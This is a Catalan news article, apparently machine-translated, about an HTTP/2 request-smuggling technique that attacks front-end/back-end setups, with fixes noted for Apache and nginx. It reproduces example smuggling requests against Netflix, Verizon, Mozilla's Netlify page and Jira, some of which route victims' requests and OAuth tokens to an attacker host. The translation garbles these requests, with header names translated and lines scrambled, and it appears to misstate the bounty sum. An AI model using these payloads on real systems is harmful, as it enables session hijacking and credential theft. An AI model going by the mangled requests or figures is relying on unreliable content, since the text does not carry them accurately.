Un nou atac als sistemes front-end-backend que us permet encaixar en sol·licituds

Els sistemes web en què el frontend accepta connexions via HTTP/2 i transmet al backend via HTTP/1.1 s'han exposat a una nova variant de l'atac HTTP Request Smuggling, que permet, mitjançant l'enviament de peticions de client especialment dissenyades, encaixar-se en el contingut. de sol·licituds d'altres usuaris processades en el mateix flux entre el frontend i el backend. L'atac es pot utilitzar per inserir codi JavaScript maliciós en una sessió amb un lloc legítim, evitar els sistemes de control d'accés i interceptar paràmetres d'autenticació.

El problema afecta els servidors intermediaris web, els equilibradors de càrrega, els acceleradors web, els sistemes de lliurament de contingut i altres configuracions en què les sol·licituds es redirigeixen segons l'esquema de front-end-backend. L'autor de l'estudi va demostrar la capacitat d'atacar sistemes a Netflix, Verizon, Bitbucket, Netlify CDN i Atlassian, i va rebre 56 dòlars en programes de recompenses per vulnerabilitat. El problema també s'ha confirmat als productes F5 Networks. El problema afecta parcialment a mod_proxy al servidor http d'Apache (CVE-2021-33193), s'espera una solució a la versió 2.4.49 (els desenvolupadors van ser notificats del problema a principis de maig i van rebre 3 mesos per solucionar-lo). A nginx, la capacitat d'especificar les capçaleres "Content-Length" i "Transfer-Encoding" alhora es va bloquejar a la darrera versió (1.21.1). Les eines d'atac ja s'han afegit al conjunt d'eines Burp i estan disponibles com a extensió Turbo Intruder.

El principi de funcionament del nou mètode d'enganxar les sol·licituds al trànsit és similar a la vulnerabilitat identificada pel mateix investigador fa dos anys, però limitat a les interfícies que accepten peticions via HTTP/1.1. Recordeu que en l'esquema interfície-backend, les sol·licituds de client les reben un node addicional: la interfície, que estableix una connexió TCP de llarga vida amb el backend que processa directament les sol·licituds. Mitjançant aquesta connexió comuna s'acostumen a transmetre peticions de diferents usuaris, que segueixen la cadena una darrere l'altra, separades mitjançant el protocol HTTP.

L'atac clàssic "contraban de sol·licituds HTTP" es basava en el fet que les interfícies i els backends interpreten l'ús de les capçaleres HTTP "Content-Length" (determina la mida total de les dades a la sol·licitud) i "Transfer-Encoding: chunked" ( permet transferir dades per parts) de manera diferent. Per exemple, si la interfície només admet "Content-Length" però ignora "Transfer-Encoding: chunked", aleshores un atacant pot enviar una sol·licitud que conté les capçaleres "Content-Length" i "Transfer-Encoding: chunked", però la mida és "Longitud de contingut" no coincideix amb la mida de la cadena en trossos. En aquest cas, el frontend processarà i redirigirà la sol·licitud segons "Content-Length", i el backend esperarà que el bloc es completi en funció de "Transfer-Encoding: chunked" i la cua restant de la sol·licitud de l'atacant estarà a l'inici de la sol·licitud estrangera transmesa a continuació.

A diferència del protocol de text HTTP/1.1, que s'analitza a nivell de línia, HTTP/2 és un protocol binari i manipula blocs de dades d'una mida predeterminada. Tanmateix, HTTP/2 utilitza pseudocapçaleres que corresponen a les capçaleres HTTP habituals. Quan interactua amb el backend mitjançant HTTP/1.1, el frontend tradueix aquestes pseudocapçaleres en capçaleres HTTP HTTP/1.1 similars. El problema és que el backend pren decisions sobre l'anàlisi del flux basant-se en les capçaleres HTTP establertes pel frontend, sense conèixer els paràmetres de la sol·licitud original.

Inclòs en forma de pseudo-capçaleres, els valors "content-length" i "transfer-encoding" es poden transmetre, malgrat que no s'utilitzen en HTTP / 2, ja que la mida de totes les dades es determina en un camp separat. Tanmateix, en el procés de conversió d'una sol·licitud HTTP/2 a HTTP/1.1, aquestes capçaleres es transfereixen i poden confondre el backend. Hi ha dues opcions d'atac principals: H2.TE i H2.CL, en què el backend és enganyat per una codificació de transferència incorrecta o un valor de longitud de contingut que no es correspon amb la mida real del cos de la sol·licitud rebuda per la interfície mitjançant el Protocol HTTP/2.

Un nou atac als sistemes front-end-backend que us permet encaixar en sol·licituds

Com a exemple d'atac H2.CL, la pseudo-capçalera de longitud de contingut té un format incorrecte quan s'envia una sol·licitud HTTP/2 a Netflix. Aquesta sol·licitud comporta l'addició d'una capçalera HTTP de longitud de contingut similar quan s'accedeix al backend mitjançant HTTP/1.1, però com que la mida de la longitud de contingut és inferior a la mida real, algunes de les dades de la cua es processen com a començament de la següent petició.

Per exemple, una sol·licitud HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Amfitrió: 02.rs?x.netflix.com Foo: bar

Enviarà una sol·licitud al backend: POST /n Amfitrió HTTP/1.1: www.netflix.com Longitud de contingut: 4 abcdGET /n Amfitrió HTTP/1.1: 02.rs?x.netflix.com Foo: bar

Com que la longitud de contingut està establerta en 4, el backend acceptarà només "abcd" com a cos de la sol·licitud i processarà la resta de "GET /n HTTP/1.1..." com a principi de la següent sol·licitud vinculada a un altre usuari. En conseqüència, el flux no estarà sincronitzat i, en resposta a la següent sol·licitud, es retornarà el resultat del processament de la sol·licitud falsa. En el cas de Netflix, especificar un amfitrió de tercers a la capçalera "Amfitrió:" en una sol·licitud falsificada va donar lloc a la resposta "Ubicació: https://02.rs?x.netflix.com/n" al client i va permetre que es passés contingut arbitrari al client, inclosa l'execució del codi JavaScript en el context del lloc de Netflix.

La segona variant de l'atac (H2.TE) s'associa amb la substitució de la capçalera "Transfer-Encoding: chunked". L'ús de la pseudo-capçalera de codificació de transferència a HTTP/2 està prohibit per l'especificació i les sol·licituds amb ella es prescriuen per ser tractades com a incorrectes. Malgrat això, algunes implementacions de frontend ignoren aquest requisit i permeten l'ús de la pseudo-capçalera de codificació de transferència a HTTP/2, que es tradueix en una capçalera HTTP similar. Si la capçalera "Transfer-Codificació" està present, el backend pot prendre-la com a prioritat i analitzar les dades per parts en el mode "partícips" utilitzant blocs de diferents mides en el format "{mida}\r\n{bloc} \r\n{mida} \r\n{bloc}\r\n0" malgrat la divisió inicial per mida total.

La presència d'aquest buit es va demostrar amb l'exemple de Verizon. No obstant això, el problema concernia al portal d'autenticació i al sistema de gestió de continguts, que també utilitzen llocs com Huffington Post i Engadget. Per exemple, una sol·licitud de client mitjançant HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding fragmentat 0 GET /oops HTTP/1.1 Amfitrió: psres.net Longitud de contingut: 10 x=

Causat HTTP/1.1: POST /identity/XUI HTTP/1.1 Amfitrió: id.b2b.oath.com Longitud del contingut: 66 Codificació de transferència: fragmentat 0 GET /oops Amfitrió HTTP/1.1: psres.net Longitud del contingut: 10x=

El backend, al seu torn, va ignorar la capçalera "Content-Length" i va fer la divisió al flux basant-se en "Transfer-Encoding: chunked". A la pràctica, l'atac va permetre redirigir les sol·licituds dels usuaris al vostre lloc, inclosa la interceptació de sol·licituds relacionades amb l'autenticació OAuth, els paràmetres de les quals apareixien a la capçalera del Referer, així com simular una sessió d'autenticació i iniciar l'enviament de credencials per part de l'usuari. sistema a l'amfitrió de l'atacant. GET /b2blanding/show/oops Amfitrió HTTP/1.1: psres.net Referent: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Amfitrió: psres.net Autorització: Portador eyJhcGwiOiJIUzI1Gi1sInkR6c

Per atacar implementacions HTTP/2 que no permeten especificar la pseudocapçalera de codificació de transferència, s'ha proposat un altre mètode que consisteix a substituir la capçalera "Codificació de transferència" adjuntant-la a altres pseudocapçaleres separades per un caràcter de nova línia (quan es converteixen). a HTTP/1.1 en aquest cas, es creen dues capçaleres HTTP separades).

Per exemple, Atlassian Jira i Netlify CDN (utilitzat per servir la pàgina d'inici de Mozilla al Firefox) es van veure afectats per aquest problema. Concretament, la sol·licitud HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : domini-evil-netlify\r\n Longitud del contingut: 5\r\n \r\nx=

va provocar que s'enviés una sol·licitud HTTP/1.1 POST / HTTP/1.1 al backend\r\n Amfitrió: start.mozilla.org\r\n Foo: b\r\n Codificació de transferència: fragmentat\r\n Contingut- Longitud: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Amfitrió: domini-evil-netlify\r\n Longitud del contingut: 5\r\n \ r\nx=

Una altra opció per substituir la capçalera "Transfer-Encoding" era adjuntar-la al nom d'una altra pseudocapçalera o a una cadena amb un mètode de sol·licitud. Per exemple, quan s'accedeix a Atlassian Jira, el nom de la pseudocapçalera "foo: bar\r\ntransfer-encoding" amb el valor "chunked" va donar lloc a l'addició de les capçaleres HTTP "foo: bar" i "transfer-encoding". : chunked", i especificant a la pseudocapçalera ":method" del valor "GET / HTTP/1.1\r\nTransfer-encoding: chunked" es va traduir a "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

L'investigador que va identificar el problema també va proposar una tècnica de túnel de peticions per atacar les interfícies, en la qual s'estableix una connexió separada al backend per a cada adreça IP i no es barreja el trànsit dels diferents usuaris. La tècnica proposada no permet intervenir en les sol·licituds d'altres usuaris, però permet enverinar la memòria cau compartida, la qual cosa afecta el processament d'altres peticions, i permet substituir les capçaleres HTTP internes utilitzades per transferir la informació del servei des de la interfície al backend (per exemple, quan s'autentica al costat de la interfície en aquestes capçaleres es pot enviar informació sobre l'usuari actual al backend). Com a exemple d'aplicació del mètode a la pràctica, utilitzant l'enverinament de la memòria cau, va ser possible controlar les pàgines del servei Bitbucket.

Font: opennet.ru

Afegeix comentari